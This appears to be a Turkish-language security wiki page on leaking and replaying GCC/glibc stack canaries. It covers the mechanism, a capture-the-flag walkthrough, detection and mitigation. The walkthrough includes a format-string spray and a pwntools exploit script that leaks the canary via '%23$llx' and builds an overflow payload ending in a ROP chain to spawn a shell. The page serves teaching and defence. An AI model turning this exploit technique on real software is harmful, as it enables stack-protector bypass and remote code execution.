Skip to content

Stack Canary Leak

Per-thread stack canary'yi bir info-leak primitive'i üzerinden disclose etmek, sonra onu bir overflow'da replay etmek; böylece __stack_chk_fail asla ateşlenmez.

Mechanism

Note

Bir stack canary (GCC'nin stack-smashing protector'ı; -fstack-protector, -fstack-protector-strong ya da -fstack-protector-all ile etkinleşir), local buffer'lar ile saved frame pointer / return address arasına yerleştirilen gizli bir word'dür. Return address'e ulaşan bir linear buffer overflow önce canary'yi overwrite etmek zorundadır; function epilogue'u da sonra değişikliği tespit edip abort eder.

x86-64/glibc'de master canary, Thread-Local Storage'da sabit %fs:0x28 offset'inde yaşar — tcbhead_t thread control block'unun stack_guard field'i. 32-bit x86'da %gs:0x14'tedir. Compiler şunu emit eder:

; prologue: copy canary from TLS to the stack just below saved RBP
mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp-0x8], rax
...
; epilogue: compare stored copy against the live TLS value
mov    rdx, qword ptr [rbp-0x8]
xor    rdx, qword ptr fs:[0x28]
je     .return            ; XOR == 0 means they matched
call   __stack_chk_fail   ; mismatch -> "*** stack smashing detected ***" + abort

Canary'yi yenilebilir kılan invariant şu: değer gizlidir ama per-call öngörülemez değildir. Bir thread'in ömrü boyunca sabittir ve — fork() re-randomize etmediği için — fork edilen child'larla paylaşılır. Canary'nin least-significant byte'ı kasıtlı olarak 0x00'a zorlanır. glibc değeri _dl_random'dan türetir ve low byte'ı sıfırlar; böylece string operasyonları (strcpy, printf %s, ...) onun üzerinde sonlanır ve bir string boyunca forge edilmiş bir canary kopyalayamaz. Bir sonuç: %p çıktısındaki leak'lenmiş bir 64-bit canary tanınabilirdir, çünkü 00 ile biter ve üstünde 7 random byte vardır.

Dolayısıyla canary yalnızca memory de okuyamayan overflow'lara karşı korur. Herhangi bir primitive on-stack kopyayı disclose ederse — bir format-string bug'ı (%p/%N$p), bir out-of-bounds read, bir uninitialized-memory leak, bir %s overread — saldırgan değeri öğrenir, sonra overflow sırasında onu canary slot'una geri yazar. Epilogue XOR'u 0 verir, __stack_chk_fail asla çağrılmaz ve saved RBP / return address serbestçe ezilebilir.

Walkthrough

Bir printf(user_input) format-string bug'ı (Nightmare koleksiyonundan ASIS'17 marymorton) stack'i okumana izin verir. Önce, conversion specifier'ları spray'leyerek canary'nin positional offset'ini bul:

%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.

GDB'de, prologue'un canary kopyasını sakladığı rbp-0x8'e karşı çapraz kontrol et:

gef> x/4g $rbp-0x8
0x7fffffffde28: 0x217c6cddb9f90f00

00 ile biten değer, ele veren glibc canary'sidir. Burada positional argument 23'te yüzeye çıktı. Onu positional syntax ile doğrudan leak et ve yeniden kullan:

from pwn import *

target = process('./marymorton')

target.sendline(b"2")
target.sendline(b"%23$llx")          # leak the canary at position 23
target.recvline()
canary = int(target.recvline(), 16)
log.info("canary: " + hex(canary))   # e.g. 0x217c6cddb9f90f00  (low byte 0x00)

# Build the overflow, splicing the correct canary back in:
offset = 0x88                         # buffer -> canary distance
payload  = b"A" * offset
payload += p64(canary)                # canary slot: write its own value back
payload += p64(0xdeadbeef)            # saved RBP filler
payload += rop_chain                  # saved RIP -> ret2system / ret2libc
target.sendline(payload)

Beklenen davranış: epilogue xor [rbp-0x8], fs:0x28 == 0 hesaplar, __stack_chk_fail'ı atlar ve *** stack smashing detected *** ile abort etmek yerine ROP chain'e (örn. system("/bin/sh")) return eder.

Detection

  • Bir *** stack smashing detected ***: terminated crash log satırı, başarısız bir overflow'a işaret eder — saldırgan canary'yi bilmiyordu. Tek bir client'tan böyle tekrar eden crash'ler, bir blind brute-force girişiminin güçlü bir sinyalidir.
  • Leak'in kendisi sessizdir. Tespit, upstream info-leak'e odaklanır: input'taki anomali format string'ler, aşırı boyutlu read'ler ya da bir logging veya echo path'ine ulaşan %p/%s pattern'leri.

Mitigation

  • Bir info-leak primitive'i var olduğunda canary tek başına bir mitigation değildir; tek gerçek çözüm disclosure bug'ını ortadan kaldırmaktır (format-string açığı yok, OOB/uninitialized read yok). Bkz. format-string-canary-leak.
  • Zorlanmış null low byte ve per-thread random değer (_dl_random'dan), string-copy yoluyla forge'lamayı durdurur.
  • Crash'te re-randomize et: fork'tan sonra execve yapan bir forking server hem canary'yi hem ASLR'yi yeniden atar ve byte-by-byte brute force'u kırar (bkz. stack-reading ve byte-by-byte-canary-brute-force).
  • __stack_chk_fail GOT-entry hijacking'ini engellemek için Full RELRO'yu etkinleştir.
  • Threaded kodda, büyük bir overflow %fs:0x28'deki TLS master kopyayı stack kopyasıyla birlikte ezebilir (master-tls-canary-overwrite), böylece ikisi de eşleşir — thread stack'lerinin yakınındaki buffer'ları buna göre koru.

References